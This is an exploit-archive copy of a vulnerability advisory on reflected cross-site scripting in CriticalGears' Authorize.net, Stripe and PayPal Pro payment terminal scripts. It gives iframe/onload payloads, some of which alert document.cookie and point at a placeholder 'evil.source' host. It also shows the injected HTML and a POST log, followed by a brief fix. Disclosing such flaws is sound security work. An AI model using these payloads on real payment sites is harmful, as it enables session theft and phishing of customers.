Share
## https://sploitus.com/exploit?id=1337DAY-ID-36999
# Exploit Title: Payment Terminal 3.1 - 'Multiple' Cross-Site Scripting (XSS)
# Exploit Author: Vulnerability Lab
# Vendor Homepage: https://www.criticalgears.com/
# Software Link: https://www.criticalgears.com/product/authorize-net-payment-terminal/ ) https://www.criticalgears.com/product/paypal-pro-payment-terminal/ ) https://www.criticalgears.com/product/stripe-payment-terminal/ )
# Version: 2.4.1, 2.2.1 & 3.1
# Tested on: Linux (Apache)


Product & Service Introduction:
===============================
Quick and easy payment terminal as script for clients to pay for products and services.

(Copy of the Homepage:https://www.criticalgears.com/product/authorize-net-payment-terminal/  )
(Copy of the Homepage:https://www.criticalgears.com/product/paypal-pro-payment-terminal/  )
(Copy of the Homepage:https://www.criticalgears.com/product/stripe-payment-terminal/  )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a cross site scripting vulnerability in the Authorize.net Payment Terminal v2.4.1.
The vulnerability laboratory core research team discovered a cross site scripting vulnerability in the Stripe Payment Terminal v2.2.1.
The vulnerability laboratory core research team discovered a cross site scripting vulnerability in the PayPal PRO Payment Terminal v3.1.


Affected Product(s):
====================
CriticalGears
Product: Authorize.net Payment Terminal 2.4.1 - Payment Formular Script (PHP) (Web-Application)
Product: Stripe Payment Terminal v2.2.1 - Payment Formular Script (PHP) (Web-Application)
Product: PayPal PRO Payment Terminal v3.1 - Payment Formular Script (PHP) (Web-Application)


Technical Details & Description:
================================
Multiple non-persistent cross site scripting web vulnerabilities has been discovered in the official Authorize.net Payment Terminal v2.4.1,
the PayPal PRO Payment Terminal v3.1 and the Stripe Payment Terminal v2.2.1. The vulnerability allows remote attackers to inject own malicious
script codes with non-persistent attack vector to compromise client-site browser to web-application requests.

The non-persistent cross site scripting web vulnerabilities are located in the `item_description`,`fname`,`lname`,`address`,`city`,`email`
parameters of the `Billing Information` or `Payment Information` formular. Attackers are able to inject own malicious script code to the
`Description`,`Firstname`, `Lastname`,`Address`,`City`,`Email` input fields to manipulate client-side requests. The request method to
inject is post and the attack vector is non-persistent on client-side. In case the form is implemented to another web-service attackers
are able to exploit the bug by triggering an execute of the script code in the invalid exception-handling.

The PayPal PRO Payment Terminal v3.1 and Stripe Payment Terminal v2.2.1 impacts the same vulnerable script and is affected as well by
the simple validation vulnerability.

Successful exploitation of the vulnerabilities results in session hijacking, non-persistent phishing attacks, non-persistent external
redirects to malicious source and non-persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Billing Information
[+] Payment Information

Vulnerable Input(s):
[+] Description
[+] Firstname
[+] Lastname
[+] Address
[+] City
[+] Email

Vulnerable Parameter(s):
[+] item_description
[+] fname
[+] lname
[+] address
[+] city
[+] email

Affected Module(s):
[+] Exception Handling (Invalid)


Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by remote attackers without account and with low or medium user interaction.
For security demonstration or to reproduce the cross site scripting web vulnerability follow the provided information and steps below to continue.


Exploitation: Payload
">%20<iframe src=evil.source onload=alert(document.domain)>%20</iframe>
">%20<iframe src=evil.source onload=alert(document.cookie)>%20</iframe>


Vulnerable Source: Invalid (Exception-Handling - onkeyup checkFieldBack)
<div id="accordion">
<!-- PAYMENT BLOCK -->
<h2 class="current">Payment Information</h2>
<div class="pane" style="display:block">
<label>Description:</label>
<input name="item_description" id="item_description" type="text" class="long-field" value="">
<iframe src=evil.source onload=alert(document.domain)>%20</iframe> onkeyup="checkFieldBack(this);"
<div class="clr"></div>
<label>Amount:</label>
<input name="amount" id="amount" type="text" class="small-field" value="1.00" onkeyup="checkFieldBack(this);noAlpha(this);" onkeypress="noAlpha(this);">
<div class="clr"></div>
</div>
<!-- PAYMENT BLOCK -->
-
<!-- BILLING BLOCK -->
<h2>Billing Information</h2>
<div class="pane">
<label>First Name:</label>
<input name="fname" id="fname" type="text" class="long-field" value="">"><iframe src=evil.source onload=alert(document.domain)>%20</iframe> onkeyup="checkFieldBack(this);" />
<div class="clr"></div>
<label>Last Name:</label>
<input name="lname" id="lname" type="text" class="long-field" value=""><iframe src=evil.source onload=alert(document.domain)>%20</iframe> onkeyup="checkFieldBack(this);" />
<div class="clr"></div>
<label>Address:</label>
<input name="address" id="address" type="text" class="long-field" value=""><iframe src=evil.source onload=alert(document.domain)>%20</iframe> onkeyup="checkFieldBack(this);" />
<div class="clr"></div>
<label>City:</label>
<input name="city" id="city" type="text" class="long-field" value=""><iframe src=evil.source onload=alert(document.domain)>%20</iframe> onkeyup="checkFieldBack(this);" />
<div class="clr"></div>


--- PoC Session Logs (POST) ---
https://autherminal.localhost:8080/authorize-terminal/
Host: autherminal.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------317816260230756398612099882125
Content-Length: 3270
Origin:https://autherminal.localhost:8080
Connection: keep-alive
Referer:https://autherminal.localhost:8080/authorize-terminal/
Cookie: PHPSESSID=952c12ca44f97e3b4056b731c7455a7c
item_description="><iframe src=evil.source onload=alert(document.domain)>%20</iframe>&amount=1&fname="><iframe src=evil.source onload=alert(document.domain)>%20</iframe>
&lname="><iframe src=evil.source onload=alert(document.domain)>%20</iframe>
&address="><iframe src=evil.source onload=alert(document.domain)>%20</iframe>
&city="><iframe src=evil.source onload=alert(document.domain)>%20</iframe>&country=US&state=-AU-NSW&zip=2411
&email="><iframe src=evil.source onload=alert(document.domain)>%20</iframe>&cctype=V&ccn=4111111111111&ccname=test&exp1=11&exp2=2022&cvv=123
&g-recaptcha-response=03AGdBq26Aocx9i3nRxaDSsQIyF0Avo9p1ozb5407foq4ywp7IEY1Y-q9g14tFgwjjkNItQMhnF
&submit.x=50&submit.y=14&process=yes
-
POST: HTTP/3.0 200 OK
content-type: text/html; charset=utf-8
vary: Accept-Encoding


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure restriction of the input in combination with a parse or escape of the content.
After that the onkeyup checkFieldBack should be sanitized correctly to prevent script code executions for clients.


Security Risk:
==============
The security risk of the client-side cross site scripting vulnerability in the web-application is estimated as medium.